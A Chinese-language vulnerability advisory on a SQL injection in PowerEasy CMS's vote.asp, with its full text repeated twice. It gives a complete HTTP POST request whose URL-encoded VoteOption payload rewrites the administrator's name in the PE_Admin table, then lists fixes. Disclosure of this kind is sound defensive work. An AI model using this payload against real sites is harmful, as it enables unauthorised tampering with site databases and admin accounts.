动易网站管理系统vote.asp页面存在SQL注入漏洞
测试系统:
动易(PowerEasy CMS SP6 071030以下版本)
安全综述:
动易网站管理系统是一个采用 ASP 和 MSSQL 等其他多种数据库构建的高效网站内容管理解决方案产品。
漏洞描述:
vote.asp调用了动易组件PE_Site.ShowVote,此组件VoteOption参数过滤不严,导致可以进行mssql注入
但是其语句里面过滤了-- ;等字符,又是一个UPDATE形的注入,有一定的限制。但是其过滤的顺序不对。有导致mssql的注释符号--可以进入语句
测试方法:
POST Vote.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://127.0.0.1/Vote.asp?ID=2&Action=Show
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: 127.0.0.1
Content-Length: 160
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: rtime=0; ltime=1191765883073; cnzz_eid=6855133-; AJSTAT_ok_times=2; ViewMode=1; PJBlog2Setting=ViewType=normal; http%3A%2F%2Fkw%2Elyedu%2Ecom%2Ecn=lao=8; style=null; chkRemember=false; ASPSESSIONIDSSRCABTA=JJODPHAACKPHCFNFCKEINALN; VotedID=1
VoteOption=1%3D1+%75%70%64%61%74%65%20%50%45%5F%41%64%6D%69%6E%20%73%65%74%20%61%64%6D%69%6E%6E%61%6D%65%3D%30%78%36%31%2D%3B%2D&VoteType=Multi&Action=Vote&ID=2
其中 1%3D1+%75%70%64%61%74%65%20%50%45%5F%41%64%6D%69%6E%20%73%65%74%20%61%64%6D%69%6E%6E%61%6D%65%3D%30%78%36%31%2D%3B%2D解码后为
1=1+update PE_Admin set adminname=0x61-;-
他们先过滤了--再过滤; 导致以-;-的形式可以很轻松的把注释符带入语句,执行语句后,成功把管理员的用户名设置为a
解决方案:
更新动易组件(需要管理员的权限才能更新)。
不需要投票功能的用户,删除此文件。
有需要,但是又没有权限更新动易组件(需要管理员的权限才能更新)的用户。请在vote.asp文件自行过滤各个参数。
测试系统:
动易(PowerEasy CMS SP6 071030以下版本)
安全综述:
动易网站管理系统是一个采用 ASP 和 MSSQL 等其他多种数据库构建的高效网站内容管理解决方案产品。
漏洞描述:
vote.asp调用了动易组件PE_Site.ShowVote,此组件VoteOption参数过滤不严,导致可以进行mssql注入
但是其语句里面过滤了-- ;等字符,又是一个UPDATE形的注入,有一定的限制。但是其过滤的顺序不对。有导致mssql的注释符号--可以进入语句
测试方法:
POST Vote.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://127.0.0.1/Vote.asp?ID=2&Action=Show
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: 127.0.0.1
Content-Length: 160
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: rtime=0; ltime=1191765883073; cnzz_eid=6855133-; AJSTAT_ok_times=2; ViewMode=1; PJBlog2Setting=ViewType=normal; http%3A%2F%2Fkw%2Elyedu%2Ecom%2Ecn=lao=8; style=null; chkRemember=false; ASPSESSIONIDSSRCABTA=JJODPHAACKPHCFNFCKEINALN; VotedID=1
VoteOption=1%3D1+%75%70%64%61%74%65%20%50%45%5F%41%64%6D%69%6E%20%73%65%74%20%61%64%6D%69%6E%6E%61%6D%65%3D%30%78%36%31%2D%3B%2D&VoteType=Multi&Action=Vote&ID=2
其中 1%3D1+%75%70%64%61%74%65%20%50%45%5F%41%64%6D%69%6E%20%73%65%74%20%61%64%6D%69%6E%6E%61%6D%65%3D%30%78%36%31%2D%3B%2D解码后为
1=1+update PE_Admin set adminname=0x61-;-
他们先过滤了--再过滤; 导致以-;-的形式可以很轻松的把注释符带入语句,执行语句后,成功把管理员的用户名设置为a
解决方案:
更新动易组件(需要管理员的权限才能更新)。
不需要投票功能的用户,删除此文件。
有需要,但是又没有权限更新动易组件(需要管理员的权限才能更新)的用户。请在vote.asp文件自行过滤各个参数。